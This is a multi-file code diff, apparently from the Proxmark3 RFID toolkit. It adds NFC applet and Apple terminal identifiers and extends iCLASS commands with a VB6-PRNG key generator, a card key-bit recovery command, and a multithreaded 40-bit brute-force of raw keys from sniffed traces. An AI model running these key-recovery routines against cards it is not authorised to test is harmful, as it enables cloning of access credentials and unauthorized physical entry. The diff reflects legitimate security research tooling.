print(' [CER] Usage : {:04x}'.format(Usage_Cer.nom(16)))
return 0 return 0

File diff suppressed because it is too large Load diff

View file

@ -2284,7 +2284,7 @@
"Vendor": "Apple", "Vendor": "Apple",
"Country": "", "Country": "",
"Name": "Apple Home Key Framework", "Name": "Apple Home Key Framework",
"Description": "Home Key configuration applet. Selected after a first transaction on a newely-invited device (allegedly for mailbox sync/attestation exchange)", "Description": "Home Key configuration applet. Used for attestation exchange",
"Type": "" "Type": ""
}, },
{ {
@ -2292,7 +2292,39 @@
"Vendor": "Apple", "Vendor": "Apple",
"Country": "", "Country": "",
"Name": "Apple Home Key", "Name": "Apple Home Key",
"Description": "NFC Home Key for select HomeKit-compatible locks", "Description": "NFC Home Key for select HomeKit-compatible locks based on Apple UnifiedAccess protocol",
"Type": "access"
},
{
"AID": "A0000008580202",
"Vendor": "Apple",
"Country": "",
"Name": "Apple Access Key Framework",
"Description": "Access Key configuration applet. Used for attestation exchange",
"Type": ""
},
{
"AID": "A0000008580201",
"Vendor": "Apple",
"Country": "",
"Name": "Apple Access Key",
"Description": "NFC Access Key for commercial properties based on Apple UnifiedAccess protocol",
"Type": "access"
},
{
"AID": "A000000909ACCE5502",
"Vendor": "Connectivity Standards Alliance (CSA)",
"Country": "",
"Name": "Aliro Framework",
"Description": "Used during key provisioning, configuration, attestation exchange",
"Type": ""
},
{
"AID": "A000000909ACCE5501",
"Vendor": "Connectivity Standards Alliance (CSA)",
"Country": "",
"Name": "Aliro",
"Description": "",
"Type": "access" "Type": "access"
}, },
{ {
@ -2430,5 +2462,13 @@
"Name": "CEPAS", "Name": "CEPAS",
"Description": "Transit and e-money card used in Singapore", "Description": "Transit and e-money card used in Singapore",
"Type": "transport" "Type": "transport"
},
{
"AID": "A0000004040125",
"Vendor": "Ile-de-France Mobilites",
"Country": "France",
"Name": "Navigo",
"Description": "CALYPSO-based transit card",
"Type": "transport"
} }
] ]

View file

@ -0,0 +1,126 @@
{
"versions": {
"01": {
"tci": {
"000000": {
"id": "tci-vas-or-pay",
"name": "VAS or payment",
"description": "Used when a reader needs a pass or a payment card. Sometimes called VAS over Payment"
},
"000001": {
"id": "tci-vas-and-pay",
"name": "VAS and payment",
"description": "Also called single tap mode. Allows reading multiple passes with different ids in one tap"
},
"000002": {
"id": "tci-vas-only",
"name": "VAS only",
"description": "Used when a reader requests passes only"
},
"000003": {
"id": "tci-pay-only",
"name": "VAS only",
"description": "Used when a reader requests payment cards only. Also disables express mode for chinese transit cards"
},
"cf0000": {
"id": "tci-ignore",
"name": "Ignore",
"description": "iPhones before IOS17 emit this frame so that other apple devices don't react to the field"
}
}
},
"02": {
"types": {
"01": {
"id": "terminal-type-transit",
"name": "Transit",
"description": "Used by express-mode enabled transit terminals",
"subtypes": {
"00": {
"id": "terminal-subtype-default",
"name": "Default subtype",
"description": "",
"tci": {
"030400": {
"id": "tci-hop-fastpass",
"name": "HOP Fastpass",
"description": ""
},
"030002": {
"id": "tci-transit-for-london",
"name": "TFL",
"description": "First publically known TCI, found by Proxmark community member"
},
"030001": {
"id": "tci-wmata",
"name": "SmartTrip",
"description": ""
},
"030005": {
"id": "tci-la-tapp",
"name": "LA Tap",
"description": ""
},
"030007": {
"id": "tci-clipper",
"name": "Clipper",
"description": ""
},
"03095a": {
"id": "tci-navigo",
"name": "Navigo",
"description": ""
}
},
"data": {
"length": 5,
"name": "Fallback EMV payment networks",
"description": "Bit mask of allowed EMV open loop payment cards. First byte is responsible for most popular payment networks"
}
}
}
},
"02": {
"id": "terminal-type-access",
"name": "Access",
"description": "Used by express-mode enabled access and key readers",
"subtypes": {
"00": {
"id": "terminal-subtype-venue",
"name": "Venue",
"description": "Used by following venues: Offices, Parks, Universities",
"tci": {
"no-info-add-if-found": ""
}
},
"06": {
"id": "terminal-subtype-home-key",
"name": "Home Key",
"description": "Used by home key",
"tci": {
"021100": {
"id": "tci-homekey",
"name": "Home Key",
"description": ""
}
}
},
"09": {
"id": "terminal-subtype-automotive-pairing",
"name": "Automotive",
"description": "Used by cars for access and setup",
"tci": {
"no-info-add-if-found": ""
}
}
}
}
}
}
}
}

View file

@ -55,6 +55,11 @@
"name": "Transit: Clipper", "name": "Transit: Clipper",
"description": "" "description": ""
}, },
{
"value": "6a02c8010003095a0000000000",
"name": "Transit: Navigo",
"description": ""
},
{ {
"value": "6a02c3020002ffff", "value": "6a02c3020002ffff",

View file

@ -2769,7 +2769,7 @@ static int CmdAsn1Decoder(const char *Cmd) {
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
arg_str0("d", NULL, "<hex>", "ASN1 encoded byte array"), arg_str0("d", NULL, "<hex>", "ASN1 encoded byte array"),
arg_lit0("t", "test", "perform self test"), arg_lit0(NULL, "test", "perform self tests"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(ctx, Cmd, argtable, false); CLIExecWithReturn(ctx, Cmd, argtable, false);

View file

@ -39,6 +39,7 @@
#include "iclass_cmd.h" #include "iclass_cmd.h"
#include "crypto/asn1utils.h" // ASN1 decoder #include "crypto/asn1utils.h" // ASN1 decoder
#include "preferences.h" #include "preferences.h"
#include "generator.h"
#define NUM_CSNS 9 #define NUM_CSNS 9
@ -1448,6 +1449,7 @@ static int CmdHFiClassDecrypt(const char *Cmd) {
arg_lit0("v", "verbose", "verbose output"), arg_lit0("v", "verbose", "verbose output"),
arg_lit0(NULL, "d6", "decode as block 6"), arg_lit0(NULL, "d6", "decode as block 6"),
arg_lit0("z", "dense", "dense dump output style"), arg_lit0("z", "dense", "dense dump output style"),
arg_lit0(NULL, "ns", "no save to file"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(clictx, Cmd, argtable, false); CLIExecWithReturn(clictx, Cmd, argtable, false);
@ -1472,6 +1474,7 @@ static int CmdHFiClassDecrypt(const char *Cmd) {
bool verbose = arg_get_lit(clictx, 4); bool verbose = arg_get_lit(clictx, 4);
bool use_decode6 = arg_get_lit(clictx, 5); bool use_decode6 = arg_get_lit(clictx, 5);
bool dense_output = g_session.dense_output || arg_get_lit(clictx, 6); bool dense_output = g_session.dense_output || arg_get_lit(clictx, 6);
bool nosave = arg_get_lit(clictx, 7);
CLIParserFree(clictx); CLIParserFree(clictx);
// sanity checks // sanity checks
@ -1611,6 +1614,11 @@ static int CmdHFiClassDecrypt(const char *Cmd) {
} }
} }
if (nosave) {
PrintAndLogEx(INFO, "Called with no save option");
PrintAndLogEx(NORMAL, "");
} else {
// use the first block (CSN) for filename // use the first block (CSN) for filename
char *fptr = calloc(50, sizeof(uint8_t)); char *fptr = calloc(50, sizeof(uint8_t));
if (fptr == false) { if (fptr == false) {
@ -1623,6 +1631,8 @@ static int CmdHFiClassDecrypt(const char *Cmd) {
FillFileNameByUID(fptr, hdr->csn, "-dump-decrypted", sizeof(hdr->csn)); FillFileNameByUID(fptr, hdr->csn, "-dump-decrypted", sizeof(hdr->csn));
pm3_save_dump(fptr, decrypted, decryptedlen, jsfIclass); pm3_save_dump(fptr, decrypted, decryptedlen, jsfIclass);
free(fptr);
}
printIclassDumpContents(decrypted, 1, (decryptedlen / 8), decryptedlen, dense_output); printIclassDumpContents(decrypted, 1, (decryptedlen / 8), decryptedlen, dense_output);
@ -1634,11 +1644,9 @@ static int CmdHFiClassDecrypt(const char *Cmd) {
// decode block 6 // decode block 6
bool has_values = (memcmp(decrypted + (8 * 6), empty, 8) != 0) && (memcmp(decrypted + (8 * 6), zeros, 8) != 0); bool has_values = (memcmp(decrypted + (8 * 6), empty, 8) != 0) && (memcmp(decrypted + (8 * 6), zeros, 8) != 0);
if (has_values) { if (has_values && use_sc) {
if (use_sc) {
DecodeBlock6(decrypted + (8 * 6)); DecodeBlock6(decrypted + (8 * 6));
} }
}
// decode block 7-8-9 // decode block 7-8-9
iclass_decode_credentials(decrypted); iclass_decode_credentials(decrypted);
@ -1664,7 +1672,6 @@ static int CmdHFiClassDecrypt(const char *Cmd) {
PrintAndLogEx(INFO, "-----------------------------------------------------------------"); PrintAndLogEx(INFO, "-----------------------------------------------------------------");
free(decrypted); free(decrypted);
free(fptr);
} }
mbedtls_des3_free(&ctx); mbedtls_des3_free(&ctx);
@ -3581,26 +3588,33 @@ static int CmdHFiClassCheckKeys(const char *Cmd) {
CLIParserInit(&ctx, "hf iclass chk", CLIParserInit(&ctx, "hf iclass chk",
"Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag", "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag",
"hf iclass chk -f iclass_default_keys.dic\n" "hf iclass chk -f iclass_default_keys.dic\n"
"hf iclass chk -f iclass_elite_keys.dic --elite"); "hf iclass chk -f iclass_elite_keys.dic --elite\n"
"hf iclass chk --vb6kdf\n");
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
arg_str1("f", "file", "<fn>", "Dictionary file with default iclass keys"), arg_str0("f", "file", "<fn>", "Dictionary file with default iclass keys"),
arg_lit0(NULL, "credit", "key is assumed to be the credit key"), arg_lit0(NULL, "credit", "key is assumed to be the credit key"),
arg_lit0(NULL, "elite", "elite computations applied to key"), arg_lit0(NULL, "elite", "elite computations applied to key"),
arg_lit0(NULL, "raw", "no computations applied to key (raw)"), arg_lit0(NULL, "raw", "no computations applied to key (raw)"),
arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"),
arg_lit0(NULL, "vb6kdf", "use the VB6 elite KDF instead of a file"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(ctx, Cmd, argtable, false); CLIExecWithReturn(ctx, Cmd, argtable, false);
int fnlen = 0; int fnlen = 0;
char filename[FILE_PATH_SIZE] = {0}; char filename[FILE_PATH_SIZE] = {0};
CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); bool use_vb6kdf = arg_get_lit(ctx, 6);
bool use_credit_key = arg_get_lit(ctx, 2);
bool use_elite = arg_get_lit(ctx, 3); bool use_elite = arg_get_lit(ctx, 3);
bool use_raw = arg_get_lit(ctx, 4); bool use_raw = arg_get_lit(ctx, 4);
if (use_vb6kdf) {
use_elite = true;
} else {
CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen);
}
bool use_credit_key = arg_get_lit(ctx, 2);
bool shallow_mod = arg_get_lit(ctx, 5); bool shallow_mod = arg_get_lit(ctx, 5);
CLIParserFree(ctx); CLIParserFree(ctx);
@ -3613,11 +3627,27 @@ static int CmdHFiClassCheckKeys(const char *Cmd) {
// load keys // load keys
uint8_t *keyBlock = NULL; uint8_t *keyBlock = NULL;
uint32_t keycount = 0; uint32_t keycount = 0;
if (!use_vb6kdf) {
// Load keys
int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount);
if (res != PM3_SUCCESS || keycount == 0) { if (res != PM3_SUCCESS || keycount == 0) {
free(keyBlock); free(keyBlock);
return res; return res;
} }
} else {
// Generate 5000 keys using VB6 KDF
keycount = 5000;
keyBlock = malloc(keycount * 8);
if (!keyBlock) {
return PM3_EMALLOC;
}
picopass_elite_reset();
for (uint32_t i = 0; i < keycount; i++) {
picopass_elite_nextKey(keyBlock + (i * 8));
}
}
// limit size of keys that can be held in memory // limit size of keys that can be held in memory
if (keycount > 100000) { if (keycount > 100000) {
@ -3774,29 +3804,362 @@ out:
// this method tries to identify in which configuration mode a iCLASS / iCLASS SE reader is in. // this method tries to identify in which configuration mode a iCLASS / iCLASS SE reader is in.
// Standard or Elite / HighSecurity mode. It uses a default key dictionary list in order to work. // Standard or Elite / HighSecurity mode. It uses a default key dictionary list in order to work.
#define INITIAL_SEED 0x429080 // VB6 KDF Seed Value
// Functions for generating keys using RNG
uint32_t seed = INITIAL_SEED;
uint8_t key_state[8];
bool prepared = false;
void picopass_elite_reset(void) {
memset(key_state, 0, sizeof(key_state));
seed = INITIAL_SEED;
prepared = false;
}
uint32_t picopass_elite_lcg(void) {
uint32_t mod = 0x1000000; // 2^24
uint32_t a = 0xFD43FD;
uint32_t c = 0xC39EC3;
return (a * seed + c) % mod;
}
uint32_t picopass_elite_rng(void) {
seed = picopass_elite_lcg();
return seed;
}
uint8_t picopass_elite_nextByte(void) {
return (picopass_elite_rng() >> 16) & 0xFF;
}
void picopass_elite_nextKey(uint8_t *key) {
if (prepared) {
for (size_t i = 0; i < 7; i++) {
key_state[i] = key_state[i + 1];
}
key_state[7] = picopass_elite_nextByte();
} else {
for (size_t i = 0; i < 8; i++) {
key_state[i] = picopass_elite_nextByte();
}
prepared = true;
}
memcpy(key, key_state, 8);
}
static int CmdHFiClassRecover(uint8_t key[8]) {
uint32_t payload_size = sizeof(iclass_recover_req_t);
uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0};
memcpy(aa2_standard_key, iClass_Key_Table[1], PICOPASS_BLOCK_SIZE);
iclass_recover_req_t *payload = calloc(1, payload_size);
payload->req.use_raw = true;
payload->req.use_elite = false;
payload->req.use_credit_key = false;
payload->req.use_replay = true;
payload->req.send_reply = true;
payload->req.do_auth = true;
payload->req.shallow_mod = false;
payload->req2.use_raw = false;
payload->req2.use_elite = false;
payload->req2.use_credit_key = true;
payload->req2.use_replay = false;
payload->req2.send_reply = true;
payload->req2.do_auth = true;
payload->req2.shallow_mod = false;
memcpy(payload->req.key, key, 8);
memcpy(payload->req2.key, aa2_standard_key, 8);
PrintAndLogEx(INFO, "Recover started...");
PacketResponseNG resp;
clearCommandBuffer();
SendCommandNG(CMD_HF_ICLASS_RECOVER, (uint8_t *)payload, payload_size);
WaitForResponse(CMD_HF_ICLASS_RECOVER, &resp);
if (resp.status == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "iCLASS Key Bits Recovery " _GREEN_("successful"));
} else {
PrintAndLogEx(WARNING, "iCLASS Key Bits Recovery " _RED_("failed"));
}
free(payload);
return resp.status;
}
typedef struct {
uint32_t start_index;
uint32_t keycount;
const uint8_t *startingKey;
uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE];
} ThreadData;
void *generate_key_blocks(void *arg) {
ThreadData *data = (ThreadData *)arg;
uint32_t start_index = data->start_index;
uint32_t keycount = data->keycount;
const uint8_t *startingKey = data->startingKey;
uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE] = data->keyBlock;
for (uint32_t i = 0; i < keycount; i++) {
uint32_t carry = start_index + i;
memcpy(keyBlock[i], startingKey, PICOPASS_BLOCK_SIZE);
for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) {
uint8_t increment_value = (carry & 0x1F) << 3; // Use only the first 5 bits of carry
keyBlock[i][j] = (keyBlock[i][j] & 0x07) | increment_value; // Preserve the last three bits
carry >>= 5; // Shift right by 5 bits for the next byte
if (carry == 0) {
// If no more carry, break early to avoid unnecessary loops
break;
}
}
}
return NULL;
}
static int CmdHFiClassLegRecLookUp(const char *Cmd) {
//Standalone Command Start
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass legbrute",
"This command take sniffed trace data and partial raw key and bruteforces the remaining 40 bits of the raw key.",
"hf iclass legbrute --csn 8D7BD711FEFF12E0 --epurse feffffffffffffff --macs 00000000BD478F76 --pk B4F12AADC5301225"
);
void *argtable[] = {
arg_param_begin,
arg_str1(NULL, "csn", "<hex>", "Specify CSN as 8 hex bytes"),
arg_str1(NULL, "epurse", "<hex>", "Specify ePurse as 8 hex bytes"),
arg_str1(NULL, "macs", "<hex>", "MACs"),
arg_str1(NULL, "pk", "<hex>", "Partial Key"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
int csn_len = 0;
uint8_t csn[8] = {0};
CLIGetHexWithReturn(ctx, 1, csn, &csn_len);
if (csn_len > 0) {
if (csn_len != 8) {
PrintAndLogEx(ERR, "CSN is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
int epurse_len = 0;
uint8_t epurse[8] = {0};
CLIGetHexWithReturn(ctx, 2, epurse, &epurse_len);
if (epurse_len > 0) {
if (epurse_len != 8) {
PrintAndLogEx(ERR, "ePurse is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
int macs_len = 0;
uint8_t macs[8] = {0};
CLIGetHexWithReturn(ctx, 3, macs, &macs_len);
if (macs_len > 0) {
if (macs_len != 8) {
PrintAndLogEx(ERR, "MAC is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
int startingkey_len = 0;
uint8_t startingKey[8] = {0};
CLIGetHexWithReturn(ctx, 4, startingKey, &startingkey_len);
if (startingkey_len > 0) {
if (startingkey_len != 8) {
PrintAndLogEx(ERR, "Partial Key is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
CLIParserFree(ctx);
//Standalone Command End
uint8_t CCNR[12];
uint8_t MAC_TAG[4] = {0, 0, 0, 0};
// Copy CCNR and MAC_TAG
memcpy(CCNR, epurse, 8);
memcpy(CCNR + 8, macs, 4);
memcpy(MAC_TAG, macs + 4, 4);
PrintAndLogEx(SUCCESS, " CSN: " _GREEN_("%s"), sprint_hex(csn, 8));
PrintAndLogEx(SUCCESS, " Epurse: %s", sprint_hex(epurse, 8));
PrintAndLogEx(SUCCESS, " MACS: %s", sprint_hex(macs, 8));
PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR)));
PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG)));
PrintAndLogEx(SUCCESS, "Starting Key: %s", sprint_hex(startingKey, 8));
uint32_t keycount = 1000000;
uint32_t keys_per_thread = 200000;
uint32_t num_threads = keycount / keys_per_thread;
pthread_t threads[num_threads];
ThreadData thread_data[num_threads];
iclass_prekey_t *prekey = NULL;
iclass_prekey_t lookup;
iclass_prekey_t *item = NULL;
memcpy(lookup.mac, MAC_TAG, 4);
uint32_t block_index = 0;
while (item == NULL) {
for (uint32_t t = 0; t < num_threads; t++) {
thread_data[t].start_index = block_index * keycount + t * keys_per_thread;
thread_data[t].keycount = keys_per_thread;
thread_data[t].startingKey = startingKey;
thread_data[t].keyBlock = calloc(keys_per_thread, PICOPASS_BLOCK_SIZE);
if (thread_data[t].keyBlock == NULL) {
PrintAndLogEx(ERR, "Memory allocation failed for keyBlock in thread %d.", t);
for (uint32_t i = 0; i < t; i++) {
free(thread_data[i].keyBlock);
}
return PM3_EINVARG;
}
pthread_create(&threads[t], NULL, generate_key_blocks, (void *)&thread_data[t]);
}
for (uint32_t t = 0; t < num_threads; t++) {
pthread_join(threads[t], NULL);
}
if (prekey == NULL) {
prekey = calloc(keycount, sizeof(iclass_prekey_t));
} else {
prekey = realloc(prekey, (block_index + 1) * keycount * sizeof(iclass_prekey_t));
}
if (prekey == NULL) {
PrintAndLogEx(ERR, "Memory allocation failed for prekey.");
for (uint32_t t = 0; t < num_threads; t++) {
free(thread_data[t].keyBlock);
}
return PM3_EINVARG;
}
PrintAndLogEx(INFO, "Generating diversified keys...");
for (uint32_t t = 0; t < num_threads; t++) {
GenerateMacKeyFrom(csn, CCNR, true, false, (uint8_t *)thread_data[t].keyBlock, keys_per_thread, prekey + (block_index * keycount) + (t * keys_per_thread));
}
PrintAndLogEx(INFO, "Sorting...");
// Sort mac list
qsort(prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32);
PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT");
// Binary search
item = (iclass_prekey_t *)bsearch(&lookup, prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32);
for (uint32_t t = 0; t < num_threads; t++) {
free(thread_data[t].keyBlock);
}
block_index++;
}
if (item != NULL) {
PrintAndLogEx(SUCCESS, "Found valid RAW key " _GREEN_("%s"), sprint_hex(item->key, 8));
}
free(prekey);
PrintAndLogEx(NORMAL, "");
return PM3_SUCCESS;
}
static int CmdHFiClassLegacyRecover(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass legrec",
"Attempts to recover the diversified key of a specific iClass card. This may take a long time. The Card must remain be on the PM3 antenna during the whole process! This process may brick the card!",
"hf iclass legrec --macs 0000000089cb984b"
);
void *argtable[] = {
arg_param_begin,
arg_str1(NULL, "macs", "<hex>", "MACs"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
int macs_len = 0;
uint8_t macs[8] = {0};
CLIGetHexWithReturn(ctx, 1, macs, &macs_len);
if (macs_len > 0) {
if (macs_len != 8) {
PrintAndLogEx(ERR, "MAC is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
CLIParserFree(ctx);
CmdHFiClassRecover(macs);
PrintAndLogEx(WARNING, _YELLOW_("If the process completed, you can now run 'hf iclass legrecbrute' with the partial key found."));
PrintAndLogEx(NORMAL, "");
return PM3_SUCCESS;
}
static int CmdHFiClassLookUp(const char *Cmd) { static int CmdHFiClassLookUp(const char *Cmd) {
CLIParserContext *ctx; CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass lookup", CLIParserInit(&ctx, "hf iclass lookup",
"This command take sniffed trace data and try to recovery a iCLASS Standard or iCLASS Elite key.", "This command take sniffed trace data and try to recovery a iCLASS Standard or iCLASS Elite key.",
"hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic\n" "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic\n"
"hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite" "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite\n"
"hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b --vb6rng"
); );
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
arg_str1("f", "file", "<fn>", "Dictionary file with default iclass keys"), arg_str0("f", "file", "<fn>", "Dictionary file with default iclass keys"),
arg_str1(NULL, "csn", "<hex>", "Specify CSN as 8 hex bytes"), arg_str1(NULL, "csn", "<hex>", "Specify CSN as 8 hex bytes"),
arg_str1(NULL, "epurse", "<hex>", "Specify ePurse as 8 hex bytes"), arg_str1(NULL, "epurse", "<hex>", "Specify ePurse as 8 hex bytes"),
arg_str1(NULL, "macs", "<hex>", "MACs"), arg_str1(NULL, "macs", "<hex>", "MACs"),
arg_lit0(NULL, "elite", "Elite computations applied to key"), arg_lit0(NULL, "elite", "Elite computations applied to key"),
arg_lit0(NULL, "raw", "no computations applied to key"), arg_lit0(NULL, "raw", "no computations applied to key"),
arg_lit0(NULL, "vb6rng", "use the VB6 rng for elite keys instead of a dictionary file"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(ctx, Cmd, argtable, false); CLIExecWithReturn(ctx, Cmd, argtable, false);
bool use_vb6kdf = arg_get_lit(ctx, 7);
int fnlen = 0; int fnlen = 0;
char filename[FILE_PATH_SIZE] = {0}; char filename[FILE_PATH_SIZE] = {0};
bool use_elite = arg_get_lit(ctx, 5);
bool use_raw = arg_get_lit(ctx, 6);
if (use_vb6kdf) {
use_elite = true;
} else {
CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen);
}
int csn_len = 0; int csn_len = 0;
uint8_t csn[8] = {0}; uint8_t csn[8] = {0};
@ -3834,15 +4197,12 @@ static int CmdHFiClassLookUp(const char *Cmd) {
} }
} }
bool use_elite = arg_get_lit(ctx, 5);
bool use_raw = arg_get_lit(ctx, 6);
CLIParserFree(ctx); CLIParserFree(ctx);
uint8_t CCNR[12]; uint8_t CCNR[12];
uint8_t MAC_TAG[4] = { 0, 0, 0, 0 }; uint8_t MAC_TAG[4] = { 0, 0, 0, 0 };
// stupid copy.. CCNR is a combo of epurse and reader nonce // Stupid copy.. CCNR is a combo of epurse and reader nonce
memcpy(CCNR, epurse, 8); memcpy(CCNR, epurse, 8);
memcpy(CCNR + 8, macs, 4); memcpy(CCNR + 8, macs, 4);
memcpy(MAC_TAG, macs + 4, 4); memcpy(MAC_TAG, macs + 4, 4);
@ -3853,20 +4213,34 @@ static int CmdHFiClassLookUp(const char *Cmd) {
PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR))); PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR)));
PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG))); PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG)));
// run time // Run time
uint64_t t1 = msclock(); uint64_t t1 = msclock();
uint8_t *keyBlock = NULL; uint8_t *keyBlock = NULL;
uint32_t keycount = 0; uint32_t keycount = 0;
// load keys if (!use_vb6kdf) {
// Load keys
int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount);
if (res != PM3_SUCCESS || keycount == 0) { if (res != PM3_SUCCESS || keycount == 0) {
free(keyBlock); free(keyBlock);
return res; return res;
} }
} else {
// Generate 5000 keys using VB6 KDF
keycount = 5000;
keyBlock = malloc(keycount * 8);
if (!keyBlock) {
return PM3_EMALLOC;
}
//iclass_prekey_t picopass_elite_reset();
for (uint32_t i = 0; i < keycount; i++) {
picopass_elite_nextKey(keyBlock + (i * 8));
}
}
// Iclass_prekey_t
iclass_prekey_t *prekey = calloc(keycount, sizeof(iclass_prekey_t)); iclass_prekey_t *prekey = calloc(keycount, sizeof(iclass_prekey_t));
if (!prekey) { if (!prekey) {
free(keyBlock); free(keyBlock);
@ -3883,7 +4257,7 @@ static int CmdHFiClassLookUp(const char *Cmd) {
PrintAndLogEx(INFO, "Sorting..."); PrintAndLogEx(INFO, "Sorting...");
// sort mac list. // Sort mac list
qsort(prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32); qsort(prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32);
PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT"); PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT");
@ -3891,7 +4265,7 @@ static int CmdHFiClassLookUp(const char *Cmd) {
iclass_prekey_t lookup; iclass_prekey_t lookup;
memcpy(lookup.mac, MAC_TAG, 4); memcpy(lookup.mac, MAC_TAG, 4);
// binsearch // Binsearch
item = (iclass_prekey_t *) bsearch(&lookup, prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32); item = (iclass_prekey_t *) bsearch(&lookup, prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32);
if (item != NULL) { if (item != NULL) {
@ -3900,7 +4274,7 @@ static int CmdHFiClassLookUp(const char *Cmd) {
} }
t1 = msclock() - t1; t1 = msclock() - t1;
PrintAndLogEx(SUCCESS, "time in iclass lookup " _YELLOW_("%.3f") " seconds", (float)t1 / 1000.0); PrintAndLogEx(SUCCESS, "Time in iclass lookup " _YELLOW_("%.3f") " seconds", (float)t1 / 1000.0);
free(prekey); free(prekey);
free(keyBlock); free(keyBlock);
@ -4649,6 +5023,8 @@ static command_t CommandTable[] = {
{"chk", CmdHFiClassCheckKeys, IfPm3Iclass, "Check keys"}, {"chk", CmdHFiClassCheckKeys, IfPm3Iclass, "Check keys"},
{"loclass", CmdHFiClass_loclass, AlwaysAvailable, "Use loclass to perform bruteforce reader attack"}, {"loclass", CmdHFiClass_loclass, AlwaysAvailable, "Use loclass to perform bruteforce reader attack"},
{"lookup", CmdHFiClassLookUp, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"}, {"lookup", CmdHFiClassLookUp, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"},
{"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Attempts to recover the standard key of a legacy card"},
{"legbrute", CmdHFiClassLegRecLookUp, AlwaysAvailable, "Bruteforces 40 bits of a partial raw key"},
{"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"}, {"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"},
{"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"}, {"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"},
{"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"}, {"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"},

View file

@ -36,4 +36,11 @@ void PrintPreCalc(iclass_prekey_t *list, uint32_t itemcnt);
uint8_t get_pagemap(const picopass_hdr_t *hdr); uint8_t get_pagemap(const picopass_hdr_t *hdr);
bool check_known_default(uint8_t *csn, uint8_t *epurse, uint8_t *rmac, uint8_t *tmac, uint8_t *key); bool check_known_default(uint8_t *csn, uint8_t *epurse, uint8_t *rmac, uint8_t *tmac, uint8_t *key);
void picopass_elite_nextKey(uint8_t *key);
void picopass_elite_reset(void);
uint32_t picopass_elite_rng(void);
uint32_t picopass_elite_lcg(void);
uint8_t picopass_elite_nextByte(void);
void *generate_key_blocks(void *arg);
#endif #endif

View file

